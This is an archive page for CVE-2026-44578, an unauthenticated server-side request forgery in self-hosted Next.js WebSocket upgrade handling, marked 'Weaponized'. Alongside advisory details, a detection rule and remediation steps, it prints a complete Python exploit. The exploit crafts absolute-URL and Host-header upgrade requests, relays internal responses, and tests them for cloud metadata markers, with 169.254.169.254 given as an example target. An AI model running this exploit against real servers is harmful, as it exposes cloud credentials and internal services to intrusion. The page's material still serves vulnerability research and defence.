PoC Archive PoC Archive
High CVE-2026-44578 unpatched

Next.js WebSocket Upgrade SSRF (Self-Hosted) (CVE-2026-44578)

by dwisiswant0 · 2026-05-17

CVSS 8.6/10
Severity
High
CVE
CVE-2026-44578
Category
web
Affected product
Next.js standalone router server (next start)
Affected versions
>=13.0.0, <15.5.16 and >=16.0.0, <16.2.5 in self-hosted mode
Disclosed
2026-05-17
Patch status
unpatched

Metadata

FieldValue
Date Added2026-05-17
Author / Researcherdwisiswant0
CVE / AdvisoryCVE-2026-44578
Categoryweb
SeverityHigh
CVSS Score8.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N)
StatusWeaponized
TagsSSRF, WebSocket, upgrade-request, Next.js, self-hosted, unauthenticated, metadata-service
RelatedN/A

Affected Target

FieldValue
Software / SystemNext.js standalone router server (next start)
Versions Affected>=13.0.0, <15.5.16 and >=16.0.0, <16.2.5 in self-hosted mode
Language / PlatformJavaScript / Node.js
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-44578 is a server-side request forgery (SSRF) vulnerability in self-hosted Next.js WebSocket upgrade handling. A crafted HTTP request with Upgrade: websocket can coerce vulnerable versions into proxying to attacker-chosen internal targets on port 80 (or attacker-selected ports), including cloud metadata endpoints and internal admin services. The attacker can read the proxied response over the same socket, making this a high-impact unauthenticated primitive. Public reporting indicates active in-the-wild exploitation for internal service enumeration and secret retrieval.


Vulnerability Details

Root Cause

In vulnerable builds, router-server upgrade handling could forward requests when the parsed URL contained a protocol, without requiring the route-resolution flow to explicitly mark the request as a safe, finished proxy target. This allowed attacker-controlled absolute-URL request lines (and in some deployments, host-header influenced routing) to reach the internal proxy path.

Attack Vector

An unauthenticated attacker sends a raw HTTP/1.1 request to the public Next.js server with WebSocket upgrade headers and a crafted target (for example, http://169.254.169.254/latest/meta-data/...) in the request line. The vulnerable server opens an outbound connection to that internal host and relays response bytes back to the attacker.

Impact

Successful exploitation can expose cloud instance metadata and credentials, allow reconnaissance or interaction with internal-only services, and bypass perimeter assumptions by turning the Next.js host into an internal network proxy.


Environment / Lab Setup

OS:          Linux/macOS/Windows
Target:      Self-hosted Next.js app running vulnerable version (e.g. 16.2.4)
Attacker:    Any reachable host able to open raw TCP/HTTP requests
Tools:       python3, bash, netcat (nc)

Setup Steps

1
2
3
4
5
git clone https://github.com/dwisiswant0/next-16.2.4-pocs.git
cd next-16.2.4-pocs/poc/CVE-2026-44578_GHSA-c4j6-fc7j-m34r

python3 exploit.py
bash exploit.sh

Proof of Concept

Step-by-Step Reproduction

  1. Start a mock internal service to confirm SSRF relay behavior.

    1
    
    python3 -m http.server 9999 --bind 127.0.0.1
    
  2. Run the Python PoC against a vulnerable Next.js server.

    1
    
    python3 exploit.py --next 127.0.0.1:3000 --target 127.0.0.1:9999 --path /
    
  3. Run the shell PoC with absolute-URL and host-header variants.

    1
    
    NEXT_HOST=127.0.0.1 NEXT_PORT=3000 TARGET_HOST=127.0.0.1 TARGET_PORT=9999 bash exploit.sh
    

Exploit Code

See exploit.py and exploit.sh in this folder.

1
2
3
4
from exploit import main
import sys

sys.exit(main())

Expected Output

[+] SSRF CONFIRMED
[+] VULNERABLE — internal target was reached via WS upgrade SSRF

Screenshots / Evidence

  • screenshots/ — add request/response traces from a controlled vulnerable environment

Detection & Indicators of Compromise

SIEM / IDS Rule (example):

alert http any any -> $HTTP_SERVERS any (
  msg:"Possible Next.js WS-upgrade SSRF attempt";
  content:"Upgrade|3a 20|websocket"; http_header;
  pcre:"/GET\s+https?:\/\//i";
  sid:900044578; rev:1;
)

Remediation

ActionDetail
PatchUpgrade Next.js to 15.5.16+ or 16.2.5+
WorkaroundBlock absolute-URL request-lines and unexpected Upgrade traffic at reverse proxy / WAF
Config HardeningRestrict egress from app hosts to metadata and internal network ranges; monitor SSRF-like upgrade traffic

References


Notes

Auto-ingested from https://github.com/dwisiswant0/next-16.2.4-pocs on 2026-05-17.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#!/usr/bin/env python3
# Disclaimer: For authorized security research and educational use only.
# Do not use this tool on systems you do not own or have explicit written
# permission to test.
"""
PoC: CVE-2026-44578 / GHSA-c4j6-fc7j-m34r
     Next.js router-server WebSocket-Upgrade SSRF (<= v16.2.4)
"""

from __future__ import annotations
import argparse
import socket
import sys
import time
from contextlib import closing

R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; B = "\033[34m"; C = "\033[36m"
BOLD = "\033[1m"; RESET = "\033[0m"

def banner(msg: str, color: str = C) -> None:
    print(f"\n{color}{BOLD}{'═'*78}\n  {msg}\n{'═'*78}{RESET}")

def info(msg: str) -> None: print(f"{B}[*]{RESET} {msg}")
def good(msg: str) -> None: print(f"{G}[+]{RESET} {msg}")
def warn(msg: str) -> None: print(f"{Y}[!]{RESET} {msg}")
def bad(msg: str) -> None: print(f"{R}[-]{RESET} {msg}")

WS_HEADERS = (
    "Upgrade: websocket\r\n"
    "Connection: Upgrade\r\n"
    "Sec-WebSocket-Version: 13\r\n"
    "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n"
)

def absolute_url_payload(next_host: str, target: str, path: str) -> bytes:
    return (
        f"GET http://{target}{path} HTTP/1.1\r\n"
        f"Host: {next_host}\r\n"
        f"{WS_HEADERS}"
        "\r\n"
    ).encode("latin1")

def host_header_payload(next_host: str, target: str, path: str) -> bytes:
    return (
        f"GET {path} HTTP/1.1\r\n"
        f"Host: {target}\r\n"
        f"X-Forwarded-Host: {target}\r\n"
        f"{WS_HEADERS}"
        "\r\n"
    ).encode("latin1")

def send_raw(next_host: str, next_port: int, payload: bytes, timeout: float = 5.0) -> bytes:
    sock = socket.create_connection((next_host, next_port), timeout=timeout)
    chunks: list[bytes] = []
    with closing(sock):
        sock.sendall(payload)
        sock.settimeout(timeout)
        try:
            while True:
                chunk = sock.recv(65536)
                if not chunk:
                    break
                chunks.append(chunk)
        except socket.timeout:
            pass
    return b"".join(chunks)

SSRF_MARKERS = [
    b"SSRF_CONFIRMED",  # lab-only marker from controlled mock internal targets
    b"ami-id",
    b"computeMetadata",
    b"Server: SimpleHTTP/",
    b"Directory listing for",
    b"redis_version",
]

def looks_like_ssrf(response: bytes) -> tuple[bool, str]:
    for m in SSRF_MARKERS:
        if m in response:
            return True, m.decode("latin1", errors="replace")
    head = response[:200].decode("latin1", errors="replace").lower()
    if head and "next" not in head and "404" not in head and "400" not in head and "200" in head:
        return True, "non-Next 200 response"
    return False, ""

def run_variant(name: str, payload: bytes, next_host: str, next_port: int) -> bool:
    banner(f"VARIANT: {name}", C)
    info(f"→ payload ({len(payload)} bytes):")
    print(f"{Y}{payload.decode('latin1')}{RESET}")
    info(f"sending to {next_host}:{next_port} ...")
    t0 = time.time()
    try:
        resp = send_raw(next_host, next_port, payload)
    except Exception as e:
        bad(f"socket error: {e}")
        return False
    dt = time.time() - t0
    info(f"received {len(resp)} bytes in {dt:.2f}s")
    print(f"{Y}---- RESPONSE ----{RESET}")
    print(resp.decode("latin1", errors="replace"))
    print(f"{Y}------------------{RESET}")
    is_ssrf, marker = looks_like_ssrf(resp)
    if is_ssrf:
        good(f"{BOLD}SSRF CONFIRMED{RESET} (marker: {marker!r})")
        return True
    warn("response did not contain an SSRF marker — server may already be patched (v16.2.5+)")
    return False

def main() -> int:
    p = argparse.ArgumentParser(description="CVE-2026-44578 PoC")
    p.add_argument("--next", default="127.0.0.1:3000", help="vulnerable Next.js host:port")
    p.add_argument("--target", default="127.0.0.1:9999", help="internal target host:port")
    p.add_argument("--path", default="/", help="path on the internal target")
    p.add_argument("--variant", choices=["absolute", "host", "both"], default="both")
    args = p.parse_args()

    next_host, next_port_s = args.next.split(":")
    next_port = int(next_port_s)
    next_authority = f"{next_host}:{next_port}"

    banner("CVE-2026-44578 — Next.js router-server upgrade SSRF", R)
    info(f"Next.js target  : {next_authority}")
    info(f"Internal target : {args.target}{args.path}")

    pwned = False
    if args.variant in ("absolute", "both"):
        pwned |= run_variant("absolute-URL request-line", absolute_url_payload(next_authority, args.target, args.path), next_host, next_port)
    if args.variant in ("host", "both"):
        pwned |= run_variant("Host-header injection", host_header_payload(next_authority, args.target, args.path), next_host, next_port)

    banner("RESULT", G if pwned else R)
    if pwned:
        good("Target is VULNERABLE (Next.js < 16.2.5)")
        return 0
    bad("No SSRF observed — target appears patched (Next.js >= 16.2.5) or unreachable")
    return 2

if __name__ == "__main__":
    sys.exit(main())